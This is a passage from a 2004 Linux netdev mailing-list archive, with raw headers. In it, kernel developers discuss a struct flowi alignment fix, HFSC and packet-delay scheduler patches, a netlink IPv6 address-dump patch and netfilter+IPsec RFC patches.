2B1F733CA5; Fri, 19 Mar 2004 11:55:12 +0900 (JST) Date: Fri, 19 Mar 2004 11:55:11 +0900 (JST) Message-Id: <20040319.115511.32395995.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, akpm@osdl.org, mru@kth.se Subject: Re: [BUG] alignment problem in net/core/flow.c:flow_key_compare From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040318162903.59192d13.akpm@osdl.org> References: <20040318162903.59192d13.akpm@osdl.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4109 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 998 Lines: 36 In article <20040318162903.59192d13.akpm@osdl.org> (at Thu, 18 Mar 2004 16:29:03 -0800), Andrew Morton says: > The solutions I see are either to force the alignment of struct flowi > to 64 bits, or to use 32-bit access in flow_key_compare. Here's the patch. ===== include/net/flow.h 1.10 vs edited ===== --- 1.10/include/net/flow.h Thu Jan 15 17:18:43 2004 +++ edited/include/net/flow.h Fri Mar 19 11:45:54 2004 @@ -10,6 +10,12 @@ #include #include +#if (BITS_PER_LONG == 64) +#define FLOWI_ALIGN_BYTES 8 +#else +#define FLOWI_ALIGN_BYTES 4 +#endif + struct flowi { int oif; int iif; @@ -77,7 +83,7 @@ #define fl_icmp_type uli_u.icmpt.type #define fl_icmp_code uli_u.icmpt.code #define fl_ipsec_spi uli_u.spi -}; +} __attribute__((__aligned__(FLOWI_ALIGN_BYTES))); #define FLOW_DIR_IN 0 #define FLOW_DIR_OUT 1 -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From akpm@osdl.org Thu Mar 18 19:00:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 19:00:04 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J2xvKO030072 for ; Thu, 18 Mar 2004 19:00:00 -0800 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2J2xYE13844; Thu, 18 Mar 2004 18:59:34 -0800 Date: Thu, 18 Mar 2004 18:59:40 -0800 From: Andrew Morton To: YOSHIFUJI Hideaki / =?ISO-8859-1?B?X19fX19fX19fX19f?= Cc: davem@redhat.com, netdev@oss.sgi.com, mru@kth.se Subject: Re: [BUG] alignment problem in net/core/flow.c:flow_key_compare Message-Id: <20040318185940.45108d6a.akpm@osdl.org> In-Reply-To: <20040319.115511.32395995.yoshfuji@linux-ipv6.org> References: <20040318162903.59192d13.akpm@osdl.org> <20040319.115511.32395995.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2J2xvKO030072 X-archive-position: 4110 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 519 Lines: 26 YOSHIFUJI Hideaki / ____________ wrote: > > > +#if (BITS_PER_LONG == 64) > +#define FLOWI_ALIGN_BYTES 8 > +#else > +#define FLOWI_ALIGN_BYTES 4 > +#endif > + > struct flowi { > int oif; > int iif; > @@ -77,7 +83,7 @@ > #define fl_icmp_type uli_u.icmpt.type > #define fl_icmp_code uli_u.icmpt.code > #define fl_ipsec_spi uli_u.spi > -}; > +} __attribute__((__aligned__(FLOWI_ALIGN_BYTES))); > Why not simply > +} __attribute__((__aligned__(BITS_PER_LONG/8))); ? From davem@redhat.com Thu Mar 18 20:21:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 20:21:20 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J4LIKO002498 for ; Thu, 18 Mar 2004 20:21:18 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J3tOA26817; Thu, 18 Mar 2004 22:55:24 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4LCj29008; Thu, 18 Mar 2004 23:21:12 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J4Kv1n019418; Thu, 18 Mar 2004 23:20:58 -0500 Date: Thu, 18 Mar 2004 20:21:11 -0800 From: "David S. Miller" To: Andrew Morton Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, mru@kth.se Subject: Re: [BUG] alignment problem in net/core/flow.c:flow_key_compare Message-Id: <20040318202111.68cf8dfe.davem@redhat.com> In-Reply-To: <20040318185940.45108d6a.akpm@osdl.org> References: <20040318162903.59192d13.akpm@osdl.org> <20040319.115511.32395995.yoshfuji@linux-ipv6.org> <20040318185940.45108d6a.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4111 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 241 Lines: 12 On Thu, 18 Mar 2004 18:59:40 -0800 Andrew Morton wrote: > > -}; > > +} __attribute__((__aligned__(FLOWI_ALIGN_BYTES))); > > > > Why not simply > > > +} __attribute__((__aligned__(BITS_PER_LONG/8))); Works for me :-) From davem@redhat.com Thu Mar 18 20:41:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 20:41:03 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J4f1KO003195 for ; Thu, 18 Mar 2004 20:41:01 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4F7A28058; Thu, 18 Mar 2004 23:15:07 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4euj30309; Thu, 18 Mar 2004 23:40:56 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J4ef1n022447; Thu, 18 Mar 2004 23:40:41 -0500 Date: Thu, 18 Mar 2004 20:40:55 -0800 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com Subject: Re: [PATCH 1/2] HFSC: Fix indentations Message-Id: <20040318204055.41a505e3.davem@redhat.com> In-Reply-To: <4059D271.2080705@trash.net> References: <4059D271.2080705@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4112 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 210 Lines: 7 On Thu, 18 Mar 2004 17:46:41 +0100 Patrick McHardy wrote: > this patch fixes broken indentations in HFSC from the u_intXX_t -> uXX > change. Applied to 2.6.x, do we need this in 2.4.x too? From davem@redhat.com Thu Mar 18 20:42:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 20:42:04 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J4g2KO003407 for ; Thu, 18 Mar 2004 20:42:02 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4GAA28104; Thu, 18 Mar 2004 23:16:10 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4fwj30383; Thu, 18 Mar 2004 23:41:58 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J4fh1n022588; Thu, 18 Mar 2004 23:41:44 -0500 Date: Thu, 18 Mar 2004 20:41:57 -0800 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2/2]: HFSC: Fix requeueing Message-Id: <20040318204157.23314086.davem@redhat.com> In-Reply-To: <4059D327.40300@trash.net> References: <4059D327.40300@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4113 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 227 Lines: 7 On Thu, 18 Mar 2004 17:49:43 +0100 Patrick McHardy wrote: > This patch fixes requeueing in HFSC. Requeued packets are kept in a > high-priority queue which is always dequeued first. Applied, thanks Patrick. From davem@redhat.com Thu Mar 18 20:53:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 20:53:52 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J4roKO004095 for ; Thu, 18 Mar 2004 20:53:50 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4RwA28852; Thu, 18 Mar 2004 23:27:58 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J4rlj31260; Thu, 18 Mar 2004 23:53:47 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J4rW1n025230; Thu, 18 Mar 2004 23:53:32 -0500 Date: Thu, 18 Mar 2004 20:53:46 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, lartc@mailman.ds9a.nl Subject: Re: [PATCH] packet delay scheduler Message-Id: <20040318205346.3fd7829d.davem@redhat.com> In-Reply-To: <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4114 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 379 Lines: 10 On Thu, 18 Mar 2004 12:04:51 -0800 Stephen Hemminger wrote: > Okay, here is a very simple QOS scheduler that delays packets for 2.6. > It is good for testing, and might be useful for people who want to put > some class of traffic into a "penalty box". I'm happy with this and added it to my 2.6.x tree. Could you cook up a 2.4.x variant for me? Thanks. From yoshfuji@linux-ipv6.org Thu Mar 18 21:39:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 21:39:30 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J5d8KO005354 for ; Thu, 18 Mar 2004 21:39:08 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 0FB3833CE5; Fri, 19 Mar 2004 14:00:29 +0900 (JST) Date: Fri, 19 Mar 2004 14:00:28 +0900 (JST) Message-Id: <20040319.140028.52992553.yoshfuji@linux-ipv6.org> To: akpm@osdl.org, davem@redhat.com Cc: netdev@oss.sgi.com, mru@kth.se, yoshfuji@linux-ipv6.org Subject: Re: [BUG] alignment problem in net/core/flow.c:flow_key_compare From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040318185940.45108d6a.akpm@osdl.org> References: <20040318162903.59192d13.akpm@osdl.org> <20040319.115511.32395995.yoshfuji@linux-ipv6.org> <20040318185940.45108d6a.akpm@osdl.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4115 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 725 Lines: 26 In article <20040318185940.45108d6a.akpm@osdl.org> (at Thu, 18 Mar 2004 18:59:40 -0800), Andrew Morton says: > Why not simply > > > +} __attribute__((__aligned__(BITS_PER_LONG/8))); > > ? Okay; ===== include/net/flow.h 1.10 vs edited ===== --- 1.10/include/net/flow.h Thu Jan 15 17:18:43 2004 +++ edited/include/net/flow.h Fri Mar 19 12:04:32 2004 @@ -77,7 +77,7 @@ #define fl_icmp_type uli_u.icmpt.type #define fl_icmp_code uli_u.icmpt.code #define fl_ipsec_spi uli_u.spi -}; +} __attribute__((__aligned__(BITS_PER_LONG/8))); #define FLOW_DIR_IN 0 #define FLOW_DIR_OUT 1 -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@redhat.com Thu Mar 18 22:06:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:07:13 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J66vKO006234 for ; Thu, 18 Mar 2004 22:06:57 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J5exA00601; Fri, 19 Mar 2004 00:41:05 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J66mj03751; Fri, 19 Mar 2004 01:06:48 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J66X1n001153; Fri, 19 Mar 2004 01:06:34 -0500 Date: Thu, 18 Mar 2004 22:06:47 -0800 From: "David S. Miller" To: Shirley Ma Cc: netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink Message-Id: <20040318220647.3dbb9c43.davem@redhat.com> In-Reply-To: <200403171130.30282.mashirle@us.ibm.com> References: <200403171130.30282.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4116 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 364 Lines: 10 On Wed, 17 Mar 2004 11:30:30 -0800 Shirley Ma wrote: > This patch is against Linux 2.6.4 kernel. It has been tested, 'ip' utility > works fine. This patch is used by IPv6 MIBs. Are we really going to support adding anycast/multicast addresses using RTM_NEW{MULTI,ANY}CAST rtmsgs? If not, let's not add them. Otherwise I like your patch. From davem@redhat.com Thu Mar 18 22:08:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:08:41 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J68cKO006545 for ; Thu, 18 Mar 2004 22:08:38 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J5gbA00691; Fri, 19 Mar 2004 00:42:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J68Qj03815; Fri, 19 Mar 2004 01:08:26 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J68B1n001375; Fri, 19 Mar 2004 01:08:12 -0500 Date: Thu, 18 Mar 2004 22:08:25 -0800 From: "David S. Miller" To: Patrick McHardy Cc: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 1/5]: netfilter+ipsec - nf_reset Message-Id: <20040318220825.5d3bf6e8.davem@redhat.com> In-Reply-To: <4059CEDF.6030209@trash.net> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CEDF.6030209@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4117 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 348 Lines: 9 On Thu, 18 Mar 2004 17:31:27 +0100 Patrick McHardy wrote: > This patch adds a new function nf_reset to reset netfilter > related skb-fields. It has no real relationship to > netfilter+ipsec, but it's required for the follow-up patches. I like and thus want this cleanup regardless of what happens to the rest of your patches :) From davem@redhat.com Thu Mar 18 22:10:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:10:07 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J6A5KO006945 for ; Thu, 18 Mar 2004 22:10:05 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J5i9A00767; Fri, 19 Mar 2004 00:44:09 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J69wj03853; Fri, 19 Mar 2004 01:09:58 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J69h1n001477; Fri, 19 Mar 2004 01:09:43 -0500 Date: Thu, 18 Mar 2004 22:09:57 -0800 From: "David S. Miller" To: Patrick McHardy Cc: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 2/5]: netfilter+ipsec - output hooks Message-Id: <20040318220957.35870744.davem@redhat.com> In-Reply-To: <4059CEEC.7070009@trash.net> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CEEC.7070009@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4118 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 251 Lines: 7 This one isn't going to compile with netfilter disabled, I can tell just by looking at it :-) The reason is that NF_HOOK_COND is defined to NF_HOOK in that case, and these two macros take a different number of args so the compiler is going to barf. From davem@redhat.com Thu Mar 18 22:15:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:15:36 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J6FZKO007352 for ; Thu, 18 Mar 2004 22:15:35 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J5nZA01060; Fri, 19 Mar 2004 00:49:35 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J6FOj04194; Fri, 19 Mar 2004 01:15:24 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J6F91n002260; Fri, 19 Mar 2004 01:15:09 -0500 Date: Thu, 18 Mar 2004 22:15:23 -0800 From: "David S. Miller" To: Patrick McHardy Cc: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks Message-Id: <20040318221523.07298f03.davem@redhat.com> In-Reply-To: <4059CF0E.3050708@trash.net> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4119 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 635 Lines: 14 On Thu, 18 Mar 2004 17:32:14 +0100 Patrick McHardy wrote: > If the protocol handler of a packet with a secpath > pointer is a non-xfrm-protocol the packet was handled by ipsec and > is done now, it traverses the PRE_ROUTING and LOCAL_IN hooks then. > This catches packets from both tunnel-mode and transport-mode SAs. Be careful! xfrm4_tunnel handles both uncompressed ipcomp packets _and_ IPIP encapsulator device packets. Yet you will intepret usage of the ipprot as 'xfrm_prot==1' in all cases. Yes this is ugly... if we added some kind of flag bit-mask to sk_buff, would that allow an easier implementation? From davem@redhat.com Thu Mar 18 22:16:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:16:56 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J6GrKO007693 for ; Thu, 18 Mar 2004 22:16:54 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J5ovA01179; Fri, 19 Mar 2004 00:50:57 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J6Gkj04292; Fri, 19 Mar 2004 01:16:46 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J6GV1n002376; Fri, 19 Mar 2004 01:16:31 -0500 Date: Thu, 18 Mar 2004 22:16:45 -0800 From: "David S. Miller" To: Patrick McHardy Cc: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-Id: <20040318221645.2b67e433.davem@redhat.com> In-Reply-To: <4059CF17.8090907@trash.net> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4120 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 336 Lines: 8 On Thu, 18 Mar 2004 17:32:23 +0100 Patrick McHardy wrote: > This patch adds policy lookups to ip_route_me_harder and makes NAT > reroute for any change that affects route/policy lookups. Why are you deleting that "fl.proto = iph->protocol;" line in net/core/netfilter.c? Is something else going to set it properly? From davem@redhat.com Thu Mar 18 22:19:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:19:17 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J6JFKO008066 for ; Thu, 18 Mar 2004 22:19:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J5rGA01369; Fri, 19 Mar 2004 00:53:16 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J6J6j04371; Fri, 19 Mar 